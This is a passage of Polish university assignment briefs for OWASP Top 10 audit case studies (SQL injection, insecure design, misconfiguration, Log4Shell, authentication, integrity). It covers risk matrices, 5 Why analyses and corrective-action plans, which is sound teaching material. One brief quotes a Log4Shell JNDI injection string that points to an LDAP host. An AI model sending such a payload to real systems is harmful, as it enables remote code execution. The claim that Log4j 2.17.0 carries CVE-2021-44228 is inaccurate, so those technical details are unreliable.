2. Dlaczego zastosowano konkatenację zamiast prekompilowanych zapytań? (Ponieważ framework pochodzący z 2017 r. nie wymuszał użycia Prepared Statements, a tytułowe zadania programistyczne nie przewidywały walidacji wejściowej).
3. Dlaczego framework nie wymuszał bezpiecznych wzorców? (Ponieważ umowa o rozwój oprogramowania nie zawierała wymagań bezpieczeństwa w cyklu SDLC ani kryteriów akceptacji bezpodstawnego wstrzykiwania).
4. Dlaczego nie było wymagań bezpieczeństwa w SDLC? (Ponieważ działający zespół IT uczelni nie posiadał kompetencji w zakresie bezpiecznego programowania, a przeglądy kodu nie były prowadzone).
5. Root Cause (Przyczyna źródłowa): Brak sformalizowanego procesu Secure SDLC, kompetencji programistycznych w zakresie bezpiecznego wytwarzania oraz niezależnego przeglądu kodu przez bezpieczeństwo.
Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).
Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.
Plan prezentacji referatu seminaryjnego (15 minut):
Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):
1. Podsumowanie zarządcze dla Rektora i Inspektora Ochrony Danych.
2. Odpowiedzi na zaawansowane pytania problemowe:
3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (OWASP WSTG-INPV).
4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).
5. Formalne Karty Niezgodności (NC1/NC2/OFI).
6. Protokół dochodzenia przyczyn źródłowych (5 Why).
7. Szczegółowe rozwiązanie techniczne: przykładowy kod PHP PDO z Prepared Statements, reguły walidacji, konfiguracja kont MySQL z minimalnymi uprawnieniami, wspólne biale listy wartości parametrów.
8. Tabela Planu Działań Korygujących (CAP).
9. Analiza kompromisów inżynierskich (koszt modernizacji kodu, spadek wydajności parametryzowanych zapytań).
10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.
Podczas obrony referatu zaprezentujcie komisji porównanie dwóch zapytań SQL przed audytem (konkatenacja z uzależnionym fragmentem) i po wdrożeniu zaleceń (zapytanie parametryzowane PDO z oznaczeniem placeholderów), wyjaśniając mechanizm unieważniania znaczenia znaków sterujących w ciągach wejściowych.
Temat: Zaawansowany Audyt Niezabezpieczonego Projektu i Błędów Logiki Biznesowej (A04:2021 - Insecure Design) w Koszyku Zakupowym i Płatnościach: Analiza Ryzyka 3X3, Gradacja NC1/NC2/OFI, Metoda 5 Why i Plan CAP w Świetle Prawa Konsumenckiego i PCI DSS V4.0
Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania słabo zaprojektowanych mechanizmów biznesowych i kontroli procesu zakupowego w platformach e-commerce (kategoria OWASP Top 10:2021 - A04:2021 Insecure Design). Studenci badają ogólnopolską platformę handlu internetowego 'SuperKoszyk Polska S.A.', w której wykryto błędy projektowe umożliwiające manipulowanie cenami, stanami magazynowymi, kuponami rabatowymi oraz przepływami płatności w bramce PayU. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz standardu PCI DSS v4.0 i przepisów prawa, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.
Powiązanie z sylabusem i treściami programowymi:
'SuperKoszyk Polska S.A.' jest jedną z trzech największych platform handlu internetowego w kraju, generującą roczną wartość transakcji ponad 9 mld złotych i obsługującą 2,5 mln zarejestrowanych klientów. Platforma (aplikacja Angular + backend JAVA Spring Boot + MySQL) współpracuje z bramką płatności PayU, przewoźnikami kurierskimi (InPost, DHL) oraz kanałem rabatowym (kody promocyjne / program poleceń).
Stan faktyczny w obszarze projektowania bezpieczeństwa:
Zarząd spółki, obawiając się odpowiedzialności za straty finansowe oraz naruszeń wobec klientów, decyduje się na zaawansowany audyt bezpieczeństwa aplikacji webowych na ocenę 4.0.
Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:
Student 1 (Audytor Wiodący / Governance i Zgodność Prawna): Koordynuje prace zespołu, analizuje regulacje prawa konsumenckiego (Ustawa o prawach konsumenta), standard PCI DSS v4.0 oraz RODO w kontekście danych płatniczych, przygotowuje wnioski dla Zarządu.
Student 2 (Audytor Techniczny ds. Bezpieczeństwa E-commerce i Logiki Biznesowej): Dekonstruuje przepływ zamówienia, bada podatność koszyka, kuponów i callbacka bramki PayU, projektuje modelowanie zagrożeń STRIDE i reguły walidacji serwerowej.
Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.
Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:
1. Zera płatności przez modyfikację callbacka bramki i potwierdzenie płatności bez weryfikacji kwoty (P=3, S=3 -> R=9; po kontrolach: weryfikacja sygnatury HMAC i kwoty: P=1, S=3 -> R=3).
2. Manipulowanie ceną i kuponami rabatowymi przez wartość dostarczaną z klienta (P=3, S=3 -> R=9; po kontrolach: cennik serwerowy, jednorazowe kupony: P=1, S=2 -> R=2).
3. Rezerwacja całego stanu magazynowego przez wielokrotne ilości w koszyku (P=3, S=2 -> R=6; po kontrolach: walidacja ilości i limity serwerowe: P=1, S=2 -> R=2).
4. Brak rozliczalności transakcji w logach procesu zamówień (P=2, S=2 -> R=4; po kontrolach: logowanie transakcyjne, monitorowanie: P=1, S=2 -> R=2).
Sformułujcie karty uchybień z podziałem na:
1. Dlaczego możliwe było potwierdzenie płatności zerowej? (Ponieważ system nie weryfikował kwoty i identyfikatora zamówienia w callbacku powrotnym bramki PayU).
2. Dlaczego nie weryfikowano callbacka? (Ponieważ integrację z PayU wykonano w wariancie uproszczonym bez wymiany klucza HMAC i bez sprawdzania powtarzalności odpowiedzi).
3. Dlaczego integrację wdrożono w wariancie uproszczonym? (Ponieważ specyfikacja integracji skupiała się na szybkości wdrożenia i nie przewidywała testów bezpieczeństwa przepływu płatności).
4. Dlaczego nie przeprowadzono testów bezpieczeństwa przepływu? (Ponieważ zespół wytwórczy nie miał kompetencji S-SDLC i nie stosował modelowania zagrożeń STRIDE dla przepływów finansowych).
5. Root Cause (Przyczyna źródłowa): Brak procesu modelowania zagrożeń i testów bezpieczeństwa w cyklu wytwarzania oprogramowania finansowego oraz brak wymagań bezpieczeństwa w umowie integracyjnej z bramką płatności.
Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).
Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.
Plan prezentacji referatu seminaryjnego (15 minut):
Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):
1. Podsumowanie zarządcze dla Zarządu i Dyrektora ds. Technologii.
2. Odpowiedzi na zaawansowane pytania problemowe:
3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa przepływu zakupowego.
4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).
5. Formalne Karty Niezgodności (NC1/NC2/OFI).
6. Protokół dochodzenia przyczyn źródłowych (5 Why).
7. Szczegółowe rozwiązanie techniczne: przykładowy kod weryfikacji sygnatury HMAC callbacka, tablica session-based server-side pricing, reguły jednorazowości kuponów, polityka limitów ilościowych i logowania transakcji.
8. Tabela Planu Działań Korygujących (CAP).
9. Analiza kompromisów inżynierskich (koszty wdrożenia weryfikacji, wpływ na proces zamówień, zgodność z PSD2).
10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.
Podczas obrony referatu zaprezentujcie komisji pełny diagram przepływu zamówienia z oznaczeniem miejsc, w których wartość finansowa pochodzi z zaufanych i niezaufanych źródeł, oraz przykładową sekwencję bezpiecznego callbacka płatności z weryfikacją danego sygnatury HMAC.
Temat: Zaawansowany Audyt Błędnej Konfiguracji Zabezpieczeń (A05:2021 - Security Misconfiguration) w Portalu Klienta E-bok i Systemie Telemetrii SCADA: Analiza Ryzyka 3X3, Gradacja NC1/NC2/OFI, Dochodzenie 5 Why i Plan CAP w Świetle KSC i KRI
Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania błędnej konfiguracji zabezpieczeń serwerów WWW, baz danych i urządzeń sieciowych w interpretacji usługodawcy kluczowej (kategoria OWASP Top 10:2021 - A05:2021 Security Misconfiguration). Studenci badają Miejskie Przedsiębiorstwo Energetyki Cieplnej w Rzeszowie - operatora usługi kluczowej (usługi ciepłownicze, pkt 2 sekcji 1.5 rozporządzenia o KSC) - którego portal klienta e-BOK oraz system telemetrii SCADA komunikują się z siecią publiczną. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz przepisów Ustawy o KSC i przepisów wykonawczych, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.
Powiązanie z sylabusem i treściami programowymi:
Miejskie Przedsiębiorstwo Energetyki Cieplnej w Rzeszowie jest operator usługi kluczowej w rozumieniu art. 5 i art. 6 Ustawy o krajowym systemie cyberbezpieczeństwa (Dz.U. 2018 poz. 1560), zapewniającym centralne ciepłownictwo sieciowe (pkt 2 załącznika do rozporządzenia z dnia 11 stycznia 2019 r. w sprawie wykazu usług kluczowych), obsługującym 95 000 gospodarstw domowych i 1 200 odbiorców przemysłowych. Główna elektrociepłownia o mocy 360 MW działa 24/7, a za monitor obiektów i rozliczanie odbiorców odpowiadają dwie krytyczne aplikacje: portal klienta 'e-BOK-MPEC' oraz system telemetrii SCADA (WinCC Open Architecture) dostarczający telemetrię węzłów cieplnych.
Stan faktyczny w obszarze błędnej konfiguracji zabezpieczeń:
Prezes MPEC, w kontekście uzupełnienia wpisu do rejestru operatorów usług kluczowych oraz podległości Ustawie o KSC, zleca zaawansowany audyt bezpieczeństwa aplikacji webowych na ocenę 4.0.
Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:
Student 1 (Audytor Wiodący / Governance i Zgodność Regulacyjna): Koordynuje prace zespołu, analizuje obowiązki operatora usługi kluczowej (art. 9-11 ustawy o KSC), weryfikuje realizację zaleceń CSIRT NASK, przygotowuje wnioski dla Prezesa Zarządu.
Student 2 (Audytor Techniczny ds. Bezpieczeństwa Infrastruktury OT/IT): Bada konfigurację NGINX, paneli administracyjnych, segregaçję sieci OT/IT, konfigurację systemu telemetrii SCADA i modeluje ścieżki ruchu lateralnego.
Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.
Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:
1. Przejęcie publicznie dostępnego panelu administracyjnego portalu e-BOK z domyślnym hasłem (P=3, S=3 -> R=9; po kontrolach: MFA, blokada kont: P=1, S=2 -> R=2).
2. Ruch lateralny z portalu klienta do sterowników SCADA przez braku segregacji sieci OT/IT (P=3, S=3 -> R=9; po kontrolach: segmentacja, firewalle OT: P=1, S=3 -> R=3).
3. Wykorzystanie podatnej biblioteki PHP i przestarzałego HTTPS w celu przechwycenia ruchu (P=2, S=3 -> R=6; po kontrolach: aktualizacje, TLS 1.3: P=1, S=2 -> R=2).
4. Niezorganizowanie skutecznej reakcji na incydent w otoczeniu ransomware (P=3, S=3 -> R=9; po kontrolach: SOAR, plany reagowania: P=1, S=2 -> R=2).
Sformułujcie karty uchybień z podziałem na:
1. Dlaczego panel administracyjny był publicznie dostępny z domyślnym hasłem? (Ponieważ serwer wdrożono zgodnie z instrukcją instalacyjną dostawcy, której parametry zabezpieczeń nie zmodyfikowano).
2. Dlaczego nie zmodyfikowano domyślnych parametrów? (Ponieważ zespół IT operujący wcześniej na systemach OT nie miał kompetencji programistycznych w zakresie utwardzania aplikacji WWW).
3. Dlaczego brak było kompetencji? (Ponieważ szkolenia operatora usługi kluczowej koncentrowały się na utrzymaniu SCADA, a nie na bezpieczeństwie aplikacji internetowych dla klientów).
4. Dlaczego nie powierzono utwardzania konfiguracji wyspecjalizowanej firmie? (Ponieważ w postępowaniu o udzielenie zamówienia kryterium ceny przeważyło nad wymaganiami bezpieczeństwa konfiguracji).
5. Root Cause (Przyczyna źródłowa): Brak ustanowionego procesu zarządzania konfiguracją bezpieczeństwa aplikacji Web i brak obowiązkowych kontroli bezpieczeństwa przy wdrożeniu i zakupie oprogramowania.
Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).
Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.
Plan prezentacji referatu seminaryjnego (15 minut):
Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):
1. Podsumowanie zarządcze dla Prezesa Zarządu i komisji nadzoru.
2. Odpowiedzi na zaawansowane pytania problemowe:
3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (testy konfiguracji, analiza nagłówków, skany podatności).
4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).
5. Formalne Karty Niezgodności (NC1/NC2/OFI).
6. Protokół dochodzenia przyczyn źródłowych (5 Why).
7. Szczegółowe rozwiązanie techniczne: przykładowa konfiguracja Nginx z zestawami TLS i nagłówkami, model segmentacji OT/IT, reguły firewalla, wdrożenie SIEM/SOAR.
8. Tabela Planu Działań Korygujących (CAP).
9. Analiza kompromisów inżynierskich (koszty segmentacji OT, dostępność sterowników, ryzyka rekomendacji).
10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.
Podczas obrony referatu zaprezentujcie komisji mapę segmentacji sieci OT/IT przed audytem i po wdrożeniu Planu CAP oraz porównanie odpowiedzi nagłówków HTTP (np. nazwa serwera, brak CSP, aktywne autoindex) dla portalu klienckiego przed i po utwardzeniu.
Temat: Zaawansowany Audyt Podatnych i Przestarzałych Komponentów (A06:2021 - Vulnerable and Outdated Components) w Centralnym Systemie Sprzedaży Biletów Kolejowych: Podatność LOG4SHELL, Matryca Ryzyka 3X3, Gradacja NC1/NC2/OFI, Metoda 5 Why, Plan CAP, SBOM CycloneDX w Świetle KSC i NIS2
Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania zarządzania podatnymi i przestarzałymi komponentami oprogramowania w cyklu życia aplikacji transportowej (kategoria OWASP Top 10:2021 - A06:2021 Vulnerable and Outdated Components). Studenci badają Centralny System Sprzedaży Biletów Kolejowych działający w PKP Intercity (operator kolejowy objęty zakresem KSC/NIS2 jako podmiot kluczowy sektora transportu), w którym agenci sprzedaży lokalnej korzystają z komponentów biblioteki Apache Log4j 2.17.0 zarejestrowanej podatnością Log4Shell (CVE-2021-44228) oraz z całej gamy przestarzałych bibliotek (OpenSSL, Spring Framework, jackson-databind). Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz standardów i przepisów (KSC, NIS2), przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) oraz listy składników oprogramowania (SBOM) w formacie CycloneDX z przypisaniem ról, terminów i mierzalnych wskaźników KPI.
Powiązanie z sylabusem i treściami programowymi:
PKP Intercity jest państwowym przewoźnikiem kolejowym obsługującym ponad 60 mln pasażerów rocznie, figurującym w rejestrze operatorów usług kluczowych sektora transportu (system sprzedaży biletów online - kategoria usługi kluczowej). Centralny System Sprzedaży Biletów (CSSB), rozwijany od 2015 r., obsługuje sprzedaż przez internet, kasy biletowe oraz agencje skupione wokół lidera systemu - spółki E-IC S.A. System składa się z:
W pokryciu testowym systemu sprzedaży wystąpił istotny incydent: w lutym 2022 r. zewnętrzny badacz bezpieczeństwa (uczestniczący w programie odpowiedzialnego ujawniania podatności - VDP) zgłosił CSIRT Kolejowi pojedyncze żądanie HTTP z dodatkowym polem `X-Api-Version` zawierającym łańcuch ataku JNDI `{jndi:ldap://10.0.0.10:1389/a}`, które doprowadziło do odbicia w logach serwera aplikacji i wytrącenia uprawnień deserializacji Log4j. Analiza zdarzeń wykazała, że biblioteka Log4j zaległa w środowisku produkcyjnym od 2021 r., a organizacja nie prowadziła inwentarza komponentów (BOM) ani nie posiadała narzędzi SCA (Software Composition Analysis).
Dyrektor Pionu IT PKP Intercity, wobec ryzyka nałożenia kar przez regulatora (Art. 1) oraz presji ze strony Zarządu, powołuje audyt na ocenę 4.0.
Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:
Student 1 (Audytor Wiodący / Governance i Zgodność Regulacyjna): Koordynuje prace zespołu, weryfikuje rejestrację w CSIRT Kolejowym, obowiązki KSC/NIS2 dla sektora transportu, planuje przejrzystość łańcucha dostaw (SBOM).
Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji i Łańcucha Dostaw): Bada biblioteki i narzędzia SCA, generuje SBOM w formacie CycloneDX, analizuje podatności Log4Shell/Spring4Shell, projektuje politykę komponentową i reguły aktualizacji.
Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.
Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:
1. Eksploatacja krytycznej podatności Log4Shell (CVE-2021-44228) w systemie sprzedaży biletów online (P=3, S=3 -> R=9; po kontrolach: aktualizacja do 2.17.1+, WAF reguły: P=1, S=3 -> R=3).
2. Eksploatacja podatności Spring4Shell (CVE-2022-22965) w warstwie Spring Boot (P=3, S=3 -> R=9; po kontrolach: aktualizacja Spring, WAF: P=1, S=2 -> R=2).
3. Wykorzystanie nieobsługiwanej i podatnej wersji AngularJS na panelach agentów (P=3, S=2 -> R=6; po kontrolach: migracja, CSP: P=1, S=2 -> R=2).
4. Brak wykrycia podatności w łańcuchu dostaw (brak SCA i SBOM) opóźniający reakcję na incydent (P=3, S=3 -> R=9; po kontrolach: SCA/SBOM CyccloneDX: P=1, S=2 -> R=2).
Sformułujcie karty uchybień z podziałem na:
1. Dlaczego biblioteka Log4j 2.17.0 pozostała w środowisku produkcyjnym 8 miesięcy po publikacji poprawki? (Ponieważ na serwerze aplikacji nie prowadzono cyklicznego przeglądu zainstalowanych bibliotek).
2. Dlaczego nie prowadzono przeglądu bibliotek? (Ponieważ w procesie budowania i wdrażania oprogramowania nie stosowano narzędzi SCA ani rejestru inwentaryzacji).
3. Dlaczego nie stosowano narzędzi SCA? (Ponieważ wymagania dla dostawcy systemu nie zawierały obowiązku dostarczenia listy komponentów (SBOM) ani testów bezpieczeństwa zależności).
4. Dlaczego wymagania nie przewidywały SBOM? (Ponieważ organizacja nie rozpoznała łańcucha dostaw oprogramowania jako istotnego obszaru ryzyka w sektorze transportu).
5. Root Cause (Przyczyna źródłowa): Brak zaimplementowanej polityki zarządzania komponentami oprogramowania i łańcuchem dostaw, brak narzędzi SCA/SBOM oraz brak wymogów bezpieczeństwa wobec dostawców w postępowaniach zamówień.
Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI) oraz dodatkowo przygotujcie kompletny przykład SBOM w formacie CycloneDX dla krytycznego komponentu.
Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, dołączcie SBOM i przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.
Plan prezentacji referatu seminaryjnego (15 minut):
Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):
1. Podsumowanie zarządcze dla Zarządu i Dyrektora Pionu IT.
2. Odpowiedzi na zaawansowane pytania problemowe:
3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (skany SCA, testy komponentów, analiza wektora JNDI).
4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).
5. Formalne Karty Niezgodności (NC1/NC2/OFI).
6. Protokół dochodzenia przyczyn źródłowych (5 Why).
7. Szczegółowe rozwiązanie techniczne: polityka zarządzania podatnościami, konfiguracja narzędzia SCA, szablon SBOM CycloneDX, procedury aktualizacji krytycznych.
8. Tabela Planu Działań Korygujących (CAP).
9. Analiza kompromisów inżynierskich (koszt aktualizacji komponentów, kompatybilność bibliotek, okna zmian).
10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.
Podczas obrony referatu zaprezentujcie komisji fragment rzeczywistego SBOM w formacie CycloneDX (z komponentami i ich identyfikatorami podatności) oraz harmonogram czasowy obsługi podatności Log4Shell w poszczególnych poziomach środowisk (incydenty środowisk, procedury hotfix).
Temat: Zaawansowany Audyt Błędów Identyfikacji i Uwierzytelniania (A07:2021 - Identification and Authentication Failures) w Systemie Bankowości Elektronicznej i Mobilnej: Ataki Credential Stuffing, Brak Blokady Kont, Matryca Ryzyka 3X3, Gradacja NC1/NC2/OFI, Metoda 5 Why i Plan CAP w Świetle Rekomendacji D KNF i DORA
Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania mechanizmów identyfikacji i uwierzytelniania klientów w systemach bankowych (kategoria OWASP Top 10:2021 - A07:2021 Identification and Authentication Failures). Studenci badają system bankowości elektronicznej i mobilnej 'Polskiego Centrum Rozliczeń S.A.', w którym wykryto brak skutecznych mechanizmów obrony przed atakami typu credential stuffing, brak automatycznej blokady kont po nieudanych próbach logowania, brak wymogu silnego uwierzytelniania wieloskładnikowego (MFA) dla klientów VIP oraz podatność na atak enumeracji kont. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) w świetle Rekomendacji D KNF, Rozporządzenia DORA i wytycznych EBA, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.
Powiązanie z sylabusem i treściami programowymi:
'Polskie Centrum Rozliczeń S.A.' to średniej wielkości bank komercyjny obsługujący 1,4 mln klientów detalicznych oraz 85 000 podmiotów gospodarczych, ze szczególnym naciskiem na kredyty hipoteczne walutowe i rozliczenia transgraniczne. Bank zbudował własny system bankowości elektronicznej i mobilnej na platformie JAVA (API REST + aplikacja mobilna ANDROID/iOS) obsługujący przelewy, karty, lokatę i kredyty.
Stan faktyczny w obszarze identyfikacji i uwierzytelniania:
Zarząd banku, wobec wzrastającej liczby reklamacji klientów i presji nadzoru KNF (ocena ryzyka IT nie podnoszona z 3 do 4 na cykl), powołuje zespół audytorski na ocenę 4.0.
Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:
Student 1 (Audytor Wiodący / Governance i Zgodność Regulacyjna): Koordynuje prace zespołu, analizuje Rekomendację D KNF (2020 r.), Rozporządzenie DORA, PSD2/SCA i wytyczne EBA, przygotowuje wnioski dla Zarządu i dla Rady Nadzorczej.
Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji Bankowych i Zarządzania Tożsamością): Dekonstruuje żądania logowania, bada polityki zinczeń, endpoint enumeracji, wdraża model FIDO2/WebAuthn i analizuje logi botnetowe.
Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.
Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:
1. Udane logowania w atakach credential stuffing na skompromitowane konta (P=3, S=3 -> R=9; po kontrolach: blokady, MFA: P=1, S=3 -> R=3).
2. Przejęcie kont klientów VIP przez brak MFA w logowaniu i potwierdzaniu transakcji (P=3, S=3 -> R=9; po kontrolach: FIDO2/SCA: P=1, S=2 -> R=2).
3. Wykorzystanie endpoint enumeracji kont i selekcja ofiar phishingu (P=3, S=2 -> R=6; po kontrolach: standaryzacja odpowiedzi, rate limiting: P=1, S=2 -> R=2).
4. Brak wykrywania anomalii logowania i nieograniczona liczba prób logowania (P=3, S=3 -> R=9; po kontrolach: SIEM anomaly detection: P=1, S=2 -> R=2).
Sformułujcie karty uchybień z podziałem na:
1. Dlaczego botnet skutecznie logował się do 2 300 kont klientów? (Ponieważ system nie blokował kont po nieudanych próbach i nie stosował reguł wykrywania anomalii logowania).
2. Dlaczego brak było blokady kont i wykrywania anomalii? (Ponieważ wymagania systemu bankowości elektronicznej z 2004 r. nie przewidywały mechanizmów algorytmicznych, a modyfikacje systemu utrzymywały jedynie funkcjonalności produkcyjne).
3. Dlaczego modyfikacje systemu nie aktualizowały mechanizmów bezpieczeństwa? (Ponieważ zarządzanie ryzykiem IT banku nie identyfikowało ataków credential stuffing jako wysoce istotnego ryzyka i nie planowało nakładów na ten obszar).
4. Dlaczego nie rozpoznawano tego ryzyka? (Ponieważ brak było stałego procesu monitorowania zagrożeń (threat intelligence) i testów penetracyjnych symulujących ataki botnetowe).
5. Root Cause (Przyczyna źródłowa): Przestarzała architektura uwierzytelniania banku i brak formalnego procesu identyfikacji nowych zagrożeń oraz testowania odporności mechanizmów logowania w cyklach rozwoju.
Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).
Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.
Plan prezentacji referatu seminaryjnego (15 minut):
Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):
1. Podsumowanie zarządcze dla Zarządu i Rady Nadzorczej banku.
2. Odpowiedzi na zaawansowane pytania problemowe:
3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (symulacje credential stuffing, testy enumeracji, analiza logów).
4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).
5. Formalne Karty Niezgodności (NC1/NC2/OFI).
6. Protokół dochodzenia przyczyn źródłowych (5 Why).
7. Szczegółowe rozwiązanie techniczne: przykładowa konfiguracja reguł blokady, integracja z silnikiem fraud detection, model FIDO2 dla klientów VIP, polityka odpowiedzi endpoint enumeracji.
8. Tabela Planu Działań Korygujących (CAP).
9. Analiza kompromisów inżynierskich (dostępność usługi vs. bezpieczeństwo, koszty MFA, doświadczenie klienta).
10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.
Podczas obrony referatu zaprezentujcie komisji analizę statystyczną czasu odpowiedzi i kodów statusu endpońtów logowania (przed i po standaryzacji odpowiedzi) oraz sekwencję sekwencji dodatkowego uwierzytelnienia FIDO2 dla przelewu SEPA.
Temat: Zaawansowany Audyt Błędów Integralności Oprogramowania i Danych (A08:2021 - Software and Data Integrity Failures) w Krajowym Portalu Zamówień Publicznych: Niezabezpieczone Sieci CDN bez Subresource Integrity (SRI), Podatna Deserializacja Java, Analiza Ryzyka 3X3, Gradacja NC1/NC2/OFI, Dochodzenie 5 Why i Plan CAP w Świetle PZP i KRI
